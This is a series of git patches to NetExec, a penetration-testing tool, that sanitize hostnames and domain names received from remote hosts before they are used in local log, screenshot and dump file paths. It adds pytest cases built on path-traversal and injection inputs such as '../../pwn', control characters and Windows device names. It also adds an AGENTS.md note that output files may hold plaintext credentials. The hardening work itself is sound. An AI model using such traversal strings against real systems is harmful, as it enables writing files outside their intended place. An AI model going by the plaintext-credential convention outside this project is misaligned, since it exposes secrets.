"\n" - log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log" + log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log") write_log(data, log_name) context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}") diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index dcbb9188c9..f9fadfa0f2 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -7,8 +7,9 @@ from struct import unpack from impacket.structure import Structure -from os.path import expanduser +from os.path import expanduser, join from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH from nxc.parsers.ldap_results import parse_result_attributes @@ -141,7 +142,7 @@ def on_login(self, context, connection): outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))] context.log.highlight(f"Found {len(outdata)} records") - path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log") + path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"))) with open(path, "w") as outfile: for row in outdata: if self.showhosts: diff --git a/nxc/modules/get_netconnections.py b/nxc/modules/get_netconnections.py index facefd18d6..dc646b50fa 100755 --- a/nxc/modules/get_netconnections.py +++ b/nxc/modules/get_netconnections.py @@ -1,6 +1,7 @@ from datetime import datetime from nxc.helpers.logger import write_log from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH import json @@ -30,6 +31,6 @@ def on_admin_login(self, context, connection): data.append(cards) - log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log" + log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log") write_log(json.dumps(data), log_name) context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}") diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index f52473ae6e..61dbc25d47 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -4,6 +4,7 @@ from pathlib import Path import re from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH @@ -139,8 +140,8 @@ def on_login(self, context, connection): context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}") if self.save and all_results: - filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json" - file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve() + filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json") + file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve() os.makedirs(file_path.parent, exist_ok=True) with open(file_path, "w") as f: json.dump(all_results, f, indent=2) diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py index 3e79889ce7..eb5da55a54 100644 --- a/nxc/modules/nanodump.py +++ b/nxc/modules/nanodump.py @@ -10,6 +10,7 @@ from datetime import datetime from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.protocols.mssql.mssqlexec import MSSQLEXEC @@ -158,7 +159,7 @@ def on_admin_login(self, context, connection): return else: self.context.log.display(f"Copying {nano_log_name} to host") - filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log") + filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")) if self.context.protocol == "smb": with open(filename, "wb+") as dump_file: try: diff --git a/nxc/modules/obsolete.py b/nxc/modules/obsolete.py index 27525cc25c..2d96cb2c1c 100644 --- a/nxc/modules/obsolete.py +++ b/nxc/modules/obsolete.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 from datetime import datetime, timedelta -from nxc.helpers.misc import CATEGORY +from os.path import join +from nxc.helpers.misc import CATEGORY, sanitize_dns +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH import socket @@ -71,7 +73,7 @@ def on_login(self, context, connection): if answers: obsolete_hosts_count = len(answers) - filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt" + filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt")) context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}") with open(filename, "w") as f: for dns_hostname, ip_address, os, pwd_last_set_readable in answers: diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index 9e8087bd7e..5a845f5a27 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -4,6 +4,7 @@ from impacket.krb5.types import Principal from impacket.krb5 import constants from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.parsers.ldap_results import parse_result_attributes from nxc.paths import NXC_PATH @@ -54,7 +55,7 @@ def on_login(self, context, connection): context.log.debug(f"Added computer: {computer['sAMAccountName']}") # Save computers to file - domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain) + domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain)) output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt") output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt") diff --git a/nxc/modules/user-desc.py b/nxc/modules/user-desc.py index a43e001596..3b2167b9db 100644 --- a/nxc/modules/user-desc.py +++ b/nxc/modules/user-desc.py @@ -3,6 +3,7 @@ from impacket.ldap import ldap, ldapasn1 from impacket.ldap.ldap import LDAPSearchError from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH @@ -91,7 +92,7 @@ def on_login(self, context, connection): def create_log_file(self, host, time): """Create a log file for dumping user descriptions.""" - logfile = f"UserDesc-{host}-{time}.log" + logfile = sanitize_path_component(f"UserDesc-{host}-{time}.log") logfile = Path(NXC_PATH).joinpath(logfile) self.context.log.info(f"Creating log file '{logfile}'") diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 698fdae2cd..bbb8d6cfea 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -9,6 +9,7 @@ from nxc.connection import connection from nxc.helpers.misc import sanitize_dns +from nxc.helpers.path import sanitize_path_component from nxc.helpers.bloodhound import add_user_bh from nxc.logger import NXCAdapter from nxc.config import host_info_colors, process_secret @@ -590,7 +591,8 @@ async def screen(self): await asyncio.sleep(5) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser() + filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251) + filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser() buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") except Exception as e: @@ -618,7 +620,8 @@ async def nla_screen(self): await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser() + filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251) + filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser() buffer.save(filename, "png") self.logger.highlight(f"NLA Screenshot saved {filename}") return diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e6af66fa7e..2e9b3a845e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -6,7 +6,7 @@ import ipaddress from pathlib import Path -from nxc.helpers.path import sanitize_filename +from nxc.helpers.path import sanitize_filename, sanitize_path_component from Cryptodome.Hash import MD4 from textwrap import dedent from nxc.helpers.misc import sanitize_dns @@ -2168,10 +2168,10 @@ def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_REA def get_file_single(self, remote_path, download_path, silent=False): share_name = self.args.share + if self.args.append_host: + download_path = sanitize_path_component(f"{self.hostname}-{remote_path}") if not silent: self.logger.display(f"Copying '{remote_path}' to '{download_path}'") - if self.args.append_host: - download_path = f"{self.hostname}-{remote_path}" with open(download_path, "wb+") as file: if self.download_file(share_name, remote_path, file.write): if not silent: diff --git a/nxc/protocols/vnc.py b/nxc/protocols/vnc.py index a0096f2723..fc0e1c5866 100644 --- a/nxc/protocols/vnc.py +++ b/nxc/protocols/vnc.py @@ -7,6 +7,7 @@ from nxc.config import host_info_colors from nxc.connection import connection from nxc.helpers.logger import highlight +from nxc.helpers.path import sanitize_path_component from nxc.logger import NXCAdapter from nxc.paths import NXC_PATH from aardwolf.commons.target import RDPTarget @@ -160,7 +161,7 @@ async def screen(self): await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser() + filename = await (Path(NXC_PATH) / "screenshots" / sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")).expanduser() buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") From 88c4963fc69b81bedb2ab549d67d831a91a42c89 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 24 Sep 2026 13:17:17 -0400 Subject: [PATCH 352/397] Sanitize manual NTLM challenge parsing --- nxc/helpers/negotiate_parser.py | 4 ++++ nxc/protocols/mssql.py | 7 +++++-- nxc/protocols/rdp.py | 6 +++--- nxc/protocols/winrm.py | 7 +++++-- nxc/protocols/wmi.py | 9 ++++++--- 5 files changed, 23 insertions(+), 10 deletions(-) diff --git a/nxc/helpers/negotiate_parser.py b/nxc/helpers/negotiate_parser.py index 9460efc2fc..f7830ee5c8 100644 --- a/nxc/helpers/negotiate_parser.py +++ b/nxc/helpers/negotiate_parser.py @@ -12,6 +12,7 @@ def parse_challenge(challange): target_info = { "hostname": None, + "dns_hostname": None, "domain": None, "os_version": None } @@ -20,6 +21,9 @@ def parse_challenge(challange): if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: with contextlib.suppress(Exception): target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le") + if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None: + with contextlib.suppress(Exception): + target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le") if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None: with contextlib.suppress(Exception): target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le") diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index c65f6f8c32..0c0fb25b68 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -155,8 +155,11 @@ def enum_host_info(self): else: if challenge.startswith(b"NTLMSSP\x00"): ntlm_info = parse_challenge(challenge) - self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = sanitize_dns(ntlm_info["hostname"], self.logger) + dns_hostname = ntlm_info["dns_hostname"] or "" + hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host + domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host) + self.hostname = sanitize_dns(hostname, self.logger) + self.targetDomain = self.domain = sanitize_dns(domain, self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname else: diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index bbb8d6cfea..22f9280e6f 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -143,9 +143,9 @@ def create_conn_obj(self): except Exception: pass else: - self.domain = info_domain["dnsdomainname"] - self.hostname = sanitize_dns(info_domain["computername"], self.logger) - self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"]) + self.hostname = sanitize_dns(info_domain.get("computername") or self.host, self.logger) + self.domain = sanitize_dns(info_domain.get("dnsdomainname") or self.host, self.logger) + self.server_os = f"{info_domain.get('os_guess', 'Unknown')} Build {info_domain.get('os_build', 'Unknown')}" self.logger.extra["hostname"] = self.hostname break diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index b17126d3f2..1edf2dbc53 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -69,8 +69,11 @@ def enum_host_info(self): self.no_ntlm = True return False - self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = sanitize_dns(ntlm_info["hostname"], self.logger) + dns_hostname = ntlm_info["dns_hostname"] or "" + hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host + domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host) + self.hostname = sanitize_dns(hostname, self.logger) + self.targetDomain = self.domain = sanitize_dns(domain, self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index b2dcf430dc..328bec44e1 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -137,12 +137,15 @@ def enum_host_info(self): response = MSRPCHeader(buffer) bindResp = MSRPCBindAck(response.getData()) ntlm_info = parse_challenge(bindResp["auth_data"]) - self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = sanitize_dns(ntlm_info["hostname"], self.logger) + dns_hostname = ntlm_info["dns_hostname"] or "" + hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host + domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host) + self.hostname = sanitize_dns(hostname, self.logger) + self.targetDomain = self.domain = sanitize_dns(domain, self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname else: - self.hostname = self.host + self.hostname = sanitize_dns(self.host, self.logger) if self.args.local_auth: self.domain = self.hostname if self.args.domain: From 25076be9df9adcc53e24cad9c6f7bf55bc1b64b5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 24 Sep 2026 13:17:26 -0400 Subject: [PATCH 353/397] Add tests --- tests/test_sanitize.py | 263 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 263 insertions(+) create mode 100644 tests/test_sanitize.py diff --git a/tests/test_sanitize.py b/tests/test_sanitize.py new file mode 100644 index 0000000000..2752ebac75 --- /dev/null +++ b/tests/test_sanitize.py @@ -0,0 +1,263 @@ +from pathlib import Path, PureWindowsPath +import re +from unicodedata import normalize +from unittest.mock import patch + +import pytest +from impacket import ntlm +from impacket.ldap import ldapasn1 as ldapasn1_impacket + +from nxc.helpers.misc import sanitize_dns +from nxc.helpers.negotiate_parser import parse_challenge +from nxc.helpers.path import sanitize_path_component +from nxc.parsers.ldap_results import parse_result_attributes + + +class Logger: + def __init__(self): + self.messages = [] + + def fail(self, message): + self.messages.append(message) + + +class RaisingLogger: + def fail(self, message): + raise RuntimeError(message) + + +class Unstringable: + def __str__(self): + raise ValueError + + +class Challenge: + fields = {} + + def __getitem__(self, key): + return {"TargetInfoFields": b"x", "TargetInfoFields_len": 1}[key] + + +class AVPairs: + def __init__(self, pairs): + self.pairs = pairs + + def __getitem__(self, key): + return self.pairs.get(key) + + +@pytest.mark.parametrize( + "hostname", + [ + "server", + "SRV-01", + "3com", + "123", + "host.example.com", + "host_name", + "münchen.example", + "-odd-", + "name$@!%^&(),+~`", + "a" * 253, + ], +) +def test_sanitize_dns_preserves_safe_and_noncompliant_names(hostname): + logger = Logger() + assert sanitize_dns(hostname, logger) == hostname + assert logger.messages == [] + + +@pytest.mark.parametrize( + ("hostname", "expected"), + [ + (None, "_"), + ("", "_"), + (".", "_"), + ("..", "__"), + ("host.", "host_"), + ("host name", "host_name"), + ("../../pwn", ".._.._pwn"), + (r"..\..\pwn", ".._.._pwn"), + ("/tmp/pwn", "_tmp_pwn"), + (r"C:\temp", "C__temp"), + ("{output_folder}", "_output_folder_"), + ("host\uff0fname", "host_name"), + (b"server", "server"), + ], +) +def test_sanitize_dns_returns_safe_strings(hostname, expected): + assert sanitize_dns(hostname, Logger()) == expected + + +def test_sanitize_dns_replaces_config_and_control_characters(): + logger = Logger() + sanitized = sanitize_dns("host name\n\x00\x1b#comment;[section]={value}'\"", logger) + assert sanitized == "host_name____comment__section___value___" + assert len(logger.messages) == 1 + assert "\n" not in logger.messages[0] + assert "\x00" not in logger.messages[0] + assert "\x1b" not in logger.messages[0] + assert r"\n" in logger.messages[0] + assert r"\x00" in logger.messages[0] + assert r"\x1b" in logger.messages[0] + + +@pytest.mark.parametrize("name", ["CON", "NUL.txt", "PRN", "AUX.log", "COM1", "LPT9.txt", "COM¹.txt", "CONIN$", "CONOUT$"]) +def test_sanitize_dns_neutralizes_windows_device_names(name): + assert sanitize_dns(name, Logger()).startswith("_") + + +def test_sanitize_dns_bounds_long_values_with_stable_hash(): + name = "é" * 200 + sanitized = sanitize_dns(name, Logger()) + assert len(sanitized.encode("utf-8")) <= 253 + assert sanitized == sanitize_dns(name, Logger()) + assert sanitized != name + assert len(sanitized.rsplit("_", 1)[1]) == 12 + + +def test_sanitize_dns_replaces_malformed_bytes(): + assert sanitize_dns(b"host\xffname", Logger()) == "host_name" + + +def test_sanitize_dns_always_returns_a_string(): + assert sanitize_dns(Unstringable(), Logger()) == "_" + assert sanitize_dns("../host", None) == ".._host" + assert sanitize_dns("../host", RaisingLogger()) == ".._host" + + +@pytest.mark.parametrize( + "hostname", + ["\n", "host\n", "host\x00name", "host\u202ename", "../../x", r"..\..\x", "{output_folder}", "host name", "\uff23\uff2f\uff2e"], +) +def test_sanitize_dns_postconditions(hostname): + sanitized = sanitize_dns(hostname, Logger()) + normalized = normalize("NFKC", sanitized) + normalized_stem = normalized.split(".", 1)[0].upper() + assert isinstance(sanitized, str) + assert sanitized + assert len(sanitized.encode("utf-8")) <= 253 + assert all(character.isprintable() and not character.isspace() for character in sanitized) + assert not any(character in '<>:"/\\|?*{}[]=#;\'' for character in sanitized) + assert all( + normalized_character.isprintable() + and not normalized_character.isspace() + and normalized_character not in '<>:"/\\|?*{}[]=#;\'' + for character in sanitized + for normalized_character in normalize("NFKC", character) + ) + assert normalized not in (".", "..") + assert not normalized.endswith(".") + assert normalized_stem not in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} + assert re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) is None + assert sanitize_dns(sanitized, Logger()) == sanitized + + +def test_parse_challenge_keeps_dns_and_netbios_names_distinct(): + pairs = AVPairs({ + ntlm.NTLMSSP_AV_HOSTNAME: (0, "NETBIOS_NAME".encode("utf-16le")), + ntlm.NTLMSSP_AV_DNS_HOSTNAME: (0, "server.example.com".encode("utf-16le")), + ntlm.NTLMSSP_AV_DNS_DOMAINNAME: (0, "example.com".encode("utf-16le")), + }) + with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=pairs): + result = parse_challenge(b"challenge") + + assert result["hostname"] == "NETBIOS_NAME" + assert result["dns_hostname"] == "server.example.com" + assert result["domain"] == "example.com" + + +def test_parse_challenge_handles_missing_names(): + with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=AVPairs({})): + result = parse_challenge(b"challenge") + + assert result["hostname"] is None + assert result["dns_hostname"] is None + assert result["domain"] is None + + +def test_ldap_dns_hostname_is_sanitized_at_parse_boundary(): + entry = ldapasn1_impacket.SearchResultEntry() + entry["objectName"] = "" + entry["attributes"][0]["type"] = "dNSHostName" + entry["attributes"][0]["vals"][0] = "../../evil\n" + + with patch("nxc.parsers.ldap_results.nxc_logger", Logger()): + result = parse_result_attributes([entry]) + + assert result == [{"dNSHostName": ".._.._evil_"}] + + +@pytest.mark.parametrize( + ("name", "expected"), + [ + ("CON", "_CON"), + ("NUL.txt", "_NUL.txt"), + ("../pwn", ".._pwn"), + (r"..\pwn", ".._pwn"), + ("{hostname}", "_hostname_"), + ("host\u202ename", "host_name"), + ("münchen.example", "münchen.example"), + ("CON .txt", "_CON .txt"), + ], +) +def test_sanitize_path_component_handles_cross_platform_names(name, expected): + assert sanitize_path_component(name) == expected + + +def test_sanitize_path_component_replaces_malformed_bytes(): + assert sanitize_path_component(b"host\xffname") == "host_name" + + +@pytest.mark.parametrize("name", ["../../x", r"C:\x", "\uff23\uff2f\uff2e.txt", "name. ", "x\uff0fy", "{output_folder}"]) +def test_sanitize_path_component_postconditions(name): + sanitized = sanitize_path_component(name) + normalized = normalize("NFKC", sanitized) + normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper() + assert sanitized + assert len(sanitized.encode("utf-8")) <= 255 + assert all(character.isprintable() for character in sanitized) + assert not any(character in '<>:"/\\|?*{}' for character in sanitized) + assert all( + normalized_character.isprintable() and normalized_character not in '<>:"/\\|?*{}' + for character in sanitized + for normalized_character in normalize("NFKC", character) + ) + assert normalized not in (".", "..") + assert not normalized.endswith(".") + assert not normalized[-1].isspace() + assert normalized_stem not in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} + assert re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) is None + assert sanitize_path_component(sanitized) == sanitized + + +def test_sanitize_path_component_bounds_long_names_and_preserves_extension(): + sanitized = sanitize_path_component(f"{'a' * 300}.log") + assert len(sanitized.encode("utf-8")) <= 255 + assert sanitized.endswith(".log") + assert len(sanitized.rsplit("_", 1)[1].removesuffix(".log")) == 12 + + +def test_sanitize_path_component_keeps_paths_inside_base(tmp_path): + sanitized = sanitize_path_component("../../outside") + output = tmp_path / sanitized + assert output.parent == tmp_path + assert PureWindowsPath("C:/base", sanitized).parent == PureWindowsPath("C:/base") + + +def test_sanitize_path_component_is_safe_in_output_template(tmp_path): + template = str(Path(tmp_path) / "{output_folder}" / sanitize_path_component("{hostname}")) + assert template.format(output_folder="sam") == str(Path(tmp_path) / "sam" / "_hostname_") + + +def test_sanitize_path_component_honors_custom_budget(): + sanitized = sanitize_path_component("a" * 300, max_bytes=220) + assert len(sanitized.encode("utf-8")) <= 220 + assert sanitized == sanitize_path_component("a" * 300, max_bytes=220) + + +def test_sanitize_path_component_drops_extension_that_exceeds_budget(): + sanitized = sanitize_path_component(f"{'a' * 30}.abcdefghijklmnopqrstuvwx", max_bytes=20) + assert sanitized != "_" + assert len(sanitized.encode("utf-8")) <= 20 + assert sanitize_path_component(sanitized, max_bytes=20) == sanitized From 736ca36c560bef4b1d9e37e1f39f3c8e53665e29 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 24 Sep 2026 14:20:31 -0400 Subject: [PATCH 354/397] Add AGENTS.md instructions --- AGENTS.md | 1 + 1 file changed, 1 insertion(+) diff --git a/AGENTS.md b/AGENTS.md index 21f4d620d7..cfe68186d5 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -36,6 +36,7 @@ # Filesystem and source conventions - Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested. +- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory. - Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default. - `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`. - Place imports at the top of files unless explicitly instructed otherwise. From 150f323e90fe2e1048b3bd3146a259676a2e4ab4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 24 Sep 2026 16:17:08 -0400 Subject: [PATCH 355/397] Add DNS sanitization --- nxc/modules/obsolete.py | 2 +- nxc/protocols/ldap.py | 13 ++++++------- nxc/protocols/ldap/resolution.py | 4 ++++ nxc/protocols/winrm.py | 3 +-- nxc/protocols/wmi.py | 2 +- 5 files changed, 13 insertions(+), 11 deletions(-) diff --git a/nxc/modules/obsolete.py b/nxc/modules/obsolete.py index 2d96cb2c1c..e9602bc509 100644 --- a/nxc/modules/obsolete.py +++ b/nxc/modules/obsolete.py @@ -2,7 +2,7 @@ from datetime import datetime, timedelta from os.path import join -from nxc.helpers.misc import CATEGORY, sanitize_dns +from nxc.helpers.misc import CATEGORY from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH import socket diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 3ac2c00515..00526e278c 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -41,7 +41,7 @@ from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh -from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument +from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument, sanitize_dns from nxc.logger import NXCAdapter from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB @@ -226,13 +226,13 @@ def enum_host_info(self): except Exception as e: self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}") - self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") - self.target = target - self.targetDomain = target_domain + self.target = sanitize_dns(target or self.host, self.logger) + self.targetDomain = sanitize_dns(target_domain or (target.split(".", 1)[1] if "." in target else target), self.logger) self.baseDN = base_dn + self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") # Parse hostname and remoteName - self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target + self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger) self.remoteName = self.target # Parse NTLM challenge @@ -940,8 +940,7 @@ def resolve_and_display_hostname(name, domain_name=None): resp_parse = parse_result_attributes(resp) for item in resp_parse: if "dNSHostName" in item: # Get dNSHostName attribute - name = item["dNSHostName"] - resolve_and_display_hostname(name) + resolve_and_display_hostname(item["dNSHostName"]) # Find all trusted domains self.logger.info("Enumerating Trusted Domains...") diff --git a/nxc/protocols/ldap/resolution.py b/nxc/protocols/ldap/resolution.py index 9175e0cc82..c7993eddba 100644 --- a/nxc/protocols/ldap/resolution.py +++ b/nxc/protocols/ldap/resolution.py @@ -5,6 +5,7 @@ from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldapasn1 as ldapasn1_impacket +from nxc.helpers.misc import sanitize_dns from nxc.parsers.ldap_results import parse_result_attributes from nxc.logger import nxc_logger @@ -18,6 +19,7 @@ def get_resolution(self): target = "" target_domain = "" base_dn = "" + machine_name = "" try: ldap_url = f"ldap://{self.host}" nxc_logger.info(f"Connecting to {ldap_url} with no baseDN") @@ -60,5 +62,7 @@ def get_resolution(self): else: nxc_logger.error(f"Error getting ldap info {e}") + machine_name = sanitize_dns(machine_name, nxc_logger) + target_domain = sanitize_dns(target_domain, nxc_logger) nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}") return machine_name, target_domain diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 1edf2dbc53..3439b28582 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -8,7 +8,6 @@ import xml.etree.ElementTree as ET from pypsrp.wsman import NAMESPACES -from nxc.helpers.misc import sanitize_dns from pypsrp.client import Client from pypsrp.powershell import PSDataStreams from termcolor import colored @@ -20,7 +19,7 @@ from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.dpapi import DPAPITriage -from nxc.helpers.misc import gen_random_string +from nxc.helpers.misc import gen_random_string, sanitize_dns from nxc.helpers.negotiate_parser import parse_challenge from nxc.logger import NXCAdapter diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 328bec44e1..214a28d517 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -145,7 +145,7 @@ def enum_host_info(self): self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname else: - self.hostname = sanitize_dns(self.host, self.logger) + self.hostname = self.host if self.args.local_auth: self.domain = self.hostname if self.args.domain: From 5e312533137d1e04cea261f623a0c61fcbd3a868 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 24 Sep 2026 16:19:11 -0400 Subject: [PATCH 356/397] Sanitize SQL statements --- nxc/helpers/bloodhound.py | 10 +++++----- nxc/modules/hash_spider.py | 24 ++++++++++++------------ 2 files changed, 17 insertions(+), 17 deletions(-) diff --git a/nxc/helpers/bloodhound.py b/nxc/helpers/bloodhound.py index b625473357..ebc0f7725c 100644 --- 